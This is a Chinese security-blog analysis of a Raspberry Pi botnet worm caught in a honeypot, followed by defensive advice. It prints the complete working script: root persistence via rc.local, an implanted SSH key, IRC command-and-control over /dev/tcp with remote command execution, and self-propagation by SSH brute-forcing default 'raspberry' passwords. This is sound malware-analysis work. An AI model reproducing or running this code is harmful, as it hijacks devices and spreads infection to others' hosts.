freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

僵尸网络样本行为分析
2022-07-14 10:57:49
所属地 四川省

概述

云山雾隐安全团队近期在蜜罐中发现了多个病毒后门样本,经查看后样本内容一致,为同一样本,该脚本使用ssh登录部署后门脚本与C2进行通信,并利用当前访问权限进行了横向传播。本文将简单分析该样本产生的病毒行为及可能造成的危害,并提出有针对性的预防措施。

样本内容如下:

C0755 4745 FzMMx6bW
#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`    
sudo cp $MYSELF /opt/$NEWMYSELF    
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"  
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"      
sleep 1
sudo reboot      
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh  
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}

eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

echo $NICK

eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

# Main loop
while [ true ]; do
eval "read msg_in <&3;"

if [[ ! "$?" -eq 0 ]] ; then
break
fi

if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
  break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
  break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

if [[ "$sign" == "$hash" ]] ; then
  CMD=`echo $privmsg_data | base64 -d -i`
  RES=`bash -c "$CMD" | base64 -w 0`
  eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
      break
  fi
fi
fi
done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done

fi

病毒行为

1.攻击IP:首先对22端口进行扫描;

2.口令破解:

3.执行命令下载病毒文件并执行:

病毒后门行为分析

1.微步检测信息:

让我们来详细了解一下脚本的主要行为代码:

1.提权

首先要让脚本可以无障碍运行,账户需要具有root权限。脚本的第一段代码,通过if判断EUID是否不等于0,euid=0即=root,用于确保具有root权限;

如果euid不等于0,则执行then下面这块代码,使用sudo将自身复制到/opt下,将执行写入开机自启动脚本中,通过重启来获取root权限(由于恶意脚本被配置到启动脚本中,当重启时它会以root权限运行)。

2.杀掉其他恶意进程

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts

将本地解析到bins.deutschland-zahlung.eu

3.权限维持

此处使用了两种方法进行权限维持:

  • 攻击者使用加密密码将pi账户密码进行更改,可能是防止被其他攻击者再次进行爆破;

  • 攻击者将rsa公钥写入了/root/.ssh/authorized_keys中,以便攻击者随时登录。

4.dns设置

攻击者设置公共的DNS用于后续的名称查找,接下来删除了一些可能存在恶意代码的目录和文件,写入了一个公钥,查阅资料了解到主要用来HTTPS,相当于被签名的公钥,也就是证书,此处主要用于签名。

5.C2通信

该部分将uname -a的输出作为md5sum的输入生成32位的md5值,取出该哈希的前 24 个字符作为任意昵称,创建循环、定义数组,从6个域名中随机挑选一个用于连接;

该代码中使用eval 'exec 3<>/dev/tcp/$svr/6667创建一个进程,并将文件描述符3分配给它,判断是否执行成功,不成功则跳出当前循环再重新进行随机一个域名利用IRC协议(通常用于僵尸网络)进行连接,其中任何指向文件描述符3的命令或数据都会被写入到/dev/tcp/$svr/6667中。

6.僵尸网络通讯建立

连接建立后,我们进入到下一个循环,read msg_in <&3指不断的从上面创建的进程中或从C2服务器读取数据,程序往下可以看到使用ping进行网络连接检查,通过PONG的响应来确认是否成功建立连接,并将其响应传输到C2服务器,JOIN命令指需要被广播到其他服务器上,这样其他服务器就会知道在哪个频道里可以找到这个client,这就可以实现方便的发送PRIVMAS/NOTICE指令到client。

当我们从C2服务器接到指令后,将指令分别cut给三个变量(privmsg_h、privmsg_data、privmsg_nick),通过将privmsg_data的输出进行解码MD5后得到一个新的变量hash,引入第二个变量sign它是privmsg_h的输出通过base64解码再传给openssl rsautl,这里实际对privmsg_h的输出进行了签名在传给了sign。

通过将sign和hash的值进行对比验证其获取的命令实际上来自其命令服务器,而不是其他服务器。

7.横向扩散

/tmp/$BOT是主要有效载荷,然后使用nohup命令运行它,并将所有的输出写入bot.log中,nohup命令会生成它自己的nohup.out文件,因此该文件也会被删除,代码睡眠3 秒后,从磁盘中删除有效载荷。

使用mktemp 创建一个新的名称,接下来记录日期时间写入/tmp/.s中,猜测该文件可能用于记录该client主机何时被感染,通过apt安装zmap和sshpass进行22端口扫描以及ssh爆破(sshpass是一个用于免交互的ssh登录工具,允许在非交互式环境中传递 SSH 凭据)。

往下进入while循环,使用mktemp建立了暂存文件FILE,使用zmap指定22端口生成 100000 的IP列表,然后将这些 IP 输出到$FILE中,随后进入for循环执行两条命令,大致意思是使用raspberry、raspberryraspberry993311、raspberryraspberry993311做为密码使用pi作为用户名去爆破,如果成功则追加到/opt/.r中,之后使用sshpass登录复制并执行脚本"cd /tmp && chmod +x $NAME && bash -c ./$NAME"命令,由此进行横向传播。

总结

目前网络中已经存在了大量的僵尸主机,由于缺乏检测机制以及安全意识薄弱,企业网络、各类公/私有云,都面临着主机长期被控失陷而不自知的问题。因此对僵尸网络的检测以及预防应加强重视,建议采用堡垒机、IAM类安全产品对登录接口进行统一,登录口令也尽量不要使用默认口令/弱口令,同时增强网络安全意识、加强自身网络安全建设。

# 僵尸网络 # 病毒分析 # 僵尸网络病毒
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录